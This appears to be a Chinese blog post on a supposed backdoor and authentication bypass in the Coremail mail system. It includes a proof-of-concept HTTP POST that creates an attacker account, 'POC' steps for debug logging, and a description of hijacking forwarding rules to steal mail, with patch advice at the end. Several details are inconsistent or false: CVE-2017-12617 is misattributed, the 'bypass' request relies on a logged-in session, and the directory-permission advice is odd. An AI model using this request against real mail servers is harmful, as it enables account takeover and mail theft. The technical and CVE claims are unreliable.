Coremail邮件系统漏洞分析

一、漏洞概述

Coremail邮件系统是国产商用邮件系统,由北京世纪互联万网科技有限公司开发。该邮件系统存在多个漏洞,其中包含身份认证绕过(CVE-2015-0986)、SQL注入(CVE-2015-0989)、目录穿越(CVE-2015-0990)等,但最为严重的漏洞是利用Coremail 5.0至5.51版本中的后门漏洞(CVE-2016-9165/CVE-2017-12617)攻击。

该漏洞的攻击方式是比较简单的,只需要向Coremail邮件系统的HTTP服务发送特定的请求,便可以获取管理员权限,从而对邮件系统进行完全控制。

二、漏洞分析

该漏洞的原因是Coremail商业邮件系统中的一个后门账户,可以在授权认证失败时进行身份认证绕过获取管理员权限,从而完成攻击。

该后门账户在Coremail 5.0之前的版本就已经存在,升级至Coremail 5.0之后,该后门账户仍可以用于漏洞利用。攻击者首先利用该漏洞获取管理员权限,并更改系统中送达规则中的匿名转发规则,覆盖原有的收件规则,该规则将所有收件人的邮件都转发到攻击者指定的邮件地址。

//POC代码
POST /coremail/manage/domain/m_adduser.jsp HTTP/1.1
Host: target
Content-Type: application/x-www-form-urlencoded
Cookie: mid=url_type%3D0; JSESSIONID=A1640CD4569DAB015127CB386E0D1E4C; curdomain=192.168.100.192; rights=1%2C3%2C4%2C5

user=attacker&vip=0&password=112233&passwordOld=112233&passwordConfirm=112233&user_quota=0&domain_name=victim&submit1=%E4%B8%80%E4%B8%8A%EF%BC%8C%E5%88%9B%E5%BB%BA%E5%B8%B8%E7%94%A8%E7%94%A8%E6%88%B7_submit&pageSubmited=1

以上的漏洞利用代码中,attacker表示攻击者账户的用户名,victim指的是系统管理员的账户名,submit1是指提交表单的操作,将攻击者的账户添加至Coremail邮件系统中,并将管理员账户覆盖。

三、漏洞利用

在复现该漏洞之前,需要先获取一个Coremail邮件系统的安装包。通过观察邮件系统的安装包可知,邮件系统默认安装在/usr/local/coremail目录下,且目录权限为755,目录属主为root。

首先登录邮件系统,在邮件系统的后台管理中开启调试日志,增加调试日志的变量值。

//POC代码
1. 登录后台管理界面
2. 在[系统管理] - [调试日志]界面勾选[开启调试日志]选项卡,
  并对[调试日志]、[调试], [告警], [错误]设置变量长度为1024,
  设置[调试日志]为[SocketManager, SendThread],[调试]为[AuthGuard, AuthGuardServlet, SubAuth,
  SubAuthServlet, WinDomainMode, WinDomainModeServlet,NolxMux],[告警]为[AuthGuard, AuthGuardServlet]。
3. 点击[确定]按钮保存配置
4. 在调试窗口中,查看Coremail的运行日志

紧接着,攻击者利用POC代码进行攻击,获取管理员权限,将规则覆盖,从而实现邮件篡改和获取。

攻击者可进行的后续操作包括:获取邮件,发送邮件,删除邮件,撤销发送和覆盖用户等,攻击手段相对简单,利用门槛也较低,甚至可以通过某些工具进行自动化攻击。

四、漏洞修复

目前,开发商已经发布了相关漏洞的修复程序,用户可下载并安装修复补丁。另外,用户自己也可以进行以下操作。

1、将coremail目录权限修改为644或更低

2、将coremail的目录所属用户修改为非root用户

3、关闭或限制调试日志

4、升级至Coremail邮件系统的5.52版本以上。

五、总结

Coremail邮件系统漏洞属于利用门槛较低的漏洞,但攻击影响较为严重,可以对邮件内容进行篡改,或者进行信息窃取,给企业和个人的信息安全带来潜在威胁。对漏洞的有效修复需要企业或个人具备一定的安全意识,加强系统与业务的安全管理和技术防御,常规对系统进行修补和漏洞扫描,从而保障系统与业务的安全。

原创文章,作者:PNUCS,如若转载,请注明出处:https://www.506064.com/n/371342.html

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
PNUCS的头像PNUCS
上一篇 2025-04-23 00:48
下一篇 2025-04-23 00:48

相关推荐

  • Coremail 漏洞详解

    Coremail是国内主流的企业邮件服务器软件,2018年曝出多个漏洞。本文将详细阐述Coremail漏洞的危害,漏洞种类和利用方法。同时提供完整的代码示例,帮助读者更加深入地了解…

    编程 2025-04-25
  • Jenkins邮件通知配置详解

    一、基本设置 Jenkins是一个开源的持续集成工具,他的邮件通知功能使得开发人员无需人工干预,就可以得到构建结果的相关信息,包括成功或失败。在使用Jenkins邮件通知前,我们需…

    编程 2025-02-05
  • 从多个方面详细阐述邮件安全

    一、威胁邮件的安全问题 随着互联网的发展,邮件作为一种十分方便快捷的通信方式,我们经常会通过邮件发送及收取各类信息。但邮件也存在着很多安全问题。首先,垃圾邮件是最常见的邮件安全威胁…

    编程 2025-01-24
  • 利用Python SMTP邮件的5个秘籍

    随着互联网的普及,邮件已经成为了人们日常生活和工作中不可缺少的一部分。Python 作为一门高效、简明的编程语言,自然也提供了 SMTP 协议的支持,既可以接收邮件,也可以发送邮件…

    编程 2025-01-16
  • php邮件附件文档介绍内容(php 邮件)

    本文目录一览: 1、求php 发送邮件的代码? 2、如何使用PHP发送包含附件的电子邮件 3、我想用php发邮件,我想发html格式的,body应该怎么写呢,要发的文件是D:\lo…

    编程 2025-01-16
  • Python SMTP邮件发送:如何确保邮件送达?

    随着互联网以及电子邮件的广泛使用,电子邮件已成为人与人之间方便快捷的联系方式。而对于企业来说,邮件更是不可或缺的一环,因为无论是与客户、供应商还是内部团队进行沟通协作,都需要通过电…

    编程 2025-01-14
  • php邮件批量发送,php邮件群发

    本文目录一览: 1、邮箱批量发送如何操作? 2、PHP批量发送邮件,有什么好的方法 3、用php-redis给全部用户发送邮件,数据量很大,思路应该是什么样的 4、如何可以批量发送…

    编程 2025-01-09
  • Kindle邮件推送教程

    Kindle是一款智能电子阅读器,可以让人们更方便地享受阅读的乐趣。在很多人看来,Kindle的最大优势就是可以通过邮件推送的方式将电子书发送到设备。这篇文章将从多个方面详细介绍如…

    编程 2025-01-05
  • Python SMTP邮件:简单、方便的发送邮件方式

    一、SMTP协议的简介 SMTP(Simple Mail Transfer Protocol)是一种邮件传输协议,用于发送、路由和接收电子邮件消息。 在发送邮件时,需要先把邮件从发…

    编程 2024-12-30
  • php邮件营销应用破解版的简单介绍

    本文目录一览: 1、免费邮件服务器软件 2、有没有免费的邮件群发软件,破解版的也可以,要的是可以日发万封的 3、破解版通达OA2009,内部邮件和工作流不能用了,急急急! 4、求一…

    编程 2024-12-27

发表回复

登录后才能评论